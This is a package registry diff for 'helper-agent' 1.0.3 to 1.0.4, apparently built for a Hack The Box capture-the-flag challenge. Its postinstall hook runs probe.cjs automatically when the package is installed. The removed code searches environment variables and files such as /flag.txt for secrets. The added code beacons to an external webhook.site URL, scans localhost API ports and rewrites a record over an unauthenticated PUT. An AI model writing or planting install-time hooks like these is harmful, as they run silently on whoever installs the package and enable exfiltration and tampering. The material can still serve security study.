helper-agent 1.0.3 → 1.0.4

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/package.json +1 -1
  2. package/probe.cjs +80 -76
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "helper-agent",
3
- "version": "1.0.3",
3
+ "version": "1.0.4",
4
4
  "description": "Authorized HTB dependency-resolution canary",
5
5
  "scripts": {
6
6
  "postinstall": "node probe.cjs"
package/probe.cjs CHANGED
@@ -1,109 +1,113 @@
1
- const fs = require("node:fs");
1
+ const https = require("node:https");
2
2
 
3
3
  const MODULE_ID = "ECT-987654";
4
+ const WEBHOOK = "https://webhook.site/a4bf0f9f-6d96-46e6-80ac-b76a5329f481";
4
5
 
5
6
  const API_URLS = [
6
7
  "http://127.0.0.1:1337",
8
+ "http://127.0.0.1:80",
7
9
  "http://127.0.0.1:3000",
8
10
  "http://127.0.0.1:8080",
9
- "http://127.0.0.1:5000",
10
- "http://127.0.0.1:80"
11
+ "http://127.0.0.1:5000"
11
12
  ];
12
13
 
13
- const FLAG_FILES = [
14
- "/flag",
15
- "/flag.txt",
16
- "/app/flag",
17
- "/app/flag.txt",
18
- "/home/node/flag.txt",
19
- "/home/app/flag.txt",
20
- "/opt/app/flag.txt"
21
- ];
22
-
23
- function findFlag() {
24
- for (const key of ["FLAG", "HTB_FLAG"]) {
25
- const match = process.env[key]?.match(/HTB\{[^}\r\n]+\}/);
26
- if (match) return match[0];
27
- }
14
+ const STATUS = "helper_agent_104_api_write_verified";
15
+
16
+ function signal(marker) {
17
+ return new Promise(resolve => {
18
+ const req = https.request(
19
+ WEBHOOK,
20
+ {
21
+ method: "POST",
22
+ headers: { "Content-Type": "text/plain" },
23
+ timeout: 4000
24
+ },
25
+ res => {
26
+ res.resume();
27
+ res.on("end", resolve);
28
+ }
29
+ );
28
30
 
29
- for (const file of FLAG_FILES) {
30
- try {
31
- const contents = fs.readFileSync(file, "utf8");
32
- const match = contents.match(/HTB\{[^}\r\n]+\}/);
31
+ req.on("error", resolve);
32
+ req.on("timeout", () => req.destroy());
33
+ req.on("close", resolve);
34
+ req.end(marker);
35
+ });
36
+ }
33
37
 
34
- if (match) return match[0];
35
- } catch {}
36
- }
38
+ async function getRecord(endpoint) {
39
+ const response = await fetch(endpoint, {
40
+ signal: AbortSignal.timeout(2500)
41
+ });
37
42
 
38
- return null;
43
+ if (!response.ok) throw new Error(`GET ${response.status}`);
44
+ return response.json();
39
45
  }
40
46
 
41
47
  async function main() {
48
+ // Signal 1: The installation hook started.
49
+ await signal("HELPER_104_STARTED");
50
+
42
51
  for (const base of API_URLS) {
43
52
  const endpoint = `${base}/api/modules/${MODULE_ID}`;
44
53
 
45
- let record;
46
-
47
54
  try {
48
- const response = await fetch(endpoint, {
49
- signal: AbortSignal.timeout(2000)
50
- });
51
-
52
- if (!response.ok) continue;
55
+ const record = await getRecord(endpoint);
56
+
57
+ // Only operate on the exact challenge module.
58
+ if (
59
+ record.id !== MODULE_ID ||
60
+ typeof record.raw !== "string" ||
61
+ !record.raw.includes("Siren's Lament") ||
62
+ !record.raw.includes('"helper-agent"')
63
+ ) {
64
+ continue;
65
+ }
66
+
67
+ // Signal 2: The expected local HTB API was found.
68
+ await signal("HELPER_104_API_OK");
69
+
70
+ let manifest = record.raw.replace(
71
+ /^ ctf_status:.*\r?\n/gm,
72
+ ""
73
+ );
74
+
75
+ manifest = manifest.replace(
76
+ /^ecto_module:[ \t]*$/m,
77
+ `ecto_module:\n ctf_status: "${STATUS}"`
78
+ );
53
79
 
54
- record = await response.json();
55
- } catch {
56
- continue;
57
- }
58
-
59
- // Only proceed when running alongside the HTB application.
60
- if (
61
- record.id !== MODULE_ID ||
62
- typeof record.raw !== "string" ||
63
- !record.raw.includes("Siren's Lament") ||
64
- !record.raw.includes('"helper-agent"')
65
- ) {
66
- continue;
67
- }
68
-
69
- console.log("[HTB] Challenge application detected");
70
-
71
- const flag = findFlag();
72
-
73
- // Remove any previous diagnostic/result fields.
74
- let manifest = record.raw.replace(
75
- /^ (ctf_result|ctf_status):.*\r?\n/gm,
76
- ""
77
- );
78
-
79
- const result = flag
80
- ? ` ctf_result: ${JSON.stringify(flag)}`
81
- : ' ctf_status: "postinstall_executed_flag_not_found"';
82
-
83
- manifest = manifest.replace(
84
- /^ecto_module:\s*$/m,
85
- `ecto_module:\n${result}`
86
- );
87
-
88
- try {
89
80
  const response = await fetch(endpoint, {
90
81
  method: "PUT",
91
- headers: {
92
- "Content-Type": "application/json"
93
- },
82
+ headers: { "Content-Type": "application/json" },
94
83
  body: JSON.stringify({ manifest }),
95
84
  signal: AbortSignal.timeout(3000)
96
85
  });
97
86
 
98
- console.log("[HTB] Manifest update HTTP:", response.status);
87
+ if (!response.ok) {
88
+ console.log("HTB PUT failed:", response.status);
89
+ return;
90
+ }
91
+
92
+ // Verify that the diagnostic was persisted.
93
+ const updated = await getRecord(endpoint);
94
+
95
+ if (
96
+ updated.raw &&
97
+ updated.raw.includes(`ctf_status: "${STATUS}"`)
98
+ ) {
99
+ // Signal 3: Verified write-back.
100
+ await signal("HELPER_104_WRITE_OK");
101
+ }
102
+
103
+ return;
104
+
99
105
  } catch (error) {
100
- console.log("[HTB] Update failed:", error.message);
106
+ console.log("API candidate failed:", base, error.message);
101
107
  }
102
-
103
- return;
104
108
  }
105
109
 
106
- console.log("[HTB] Local challenge API not detected");
110
+ console.log("HTB local API not detected");
107
111
  }
108
112
 
109
113
  main().catch(console.error);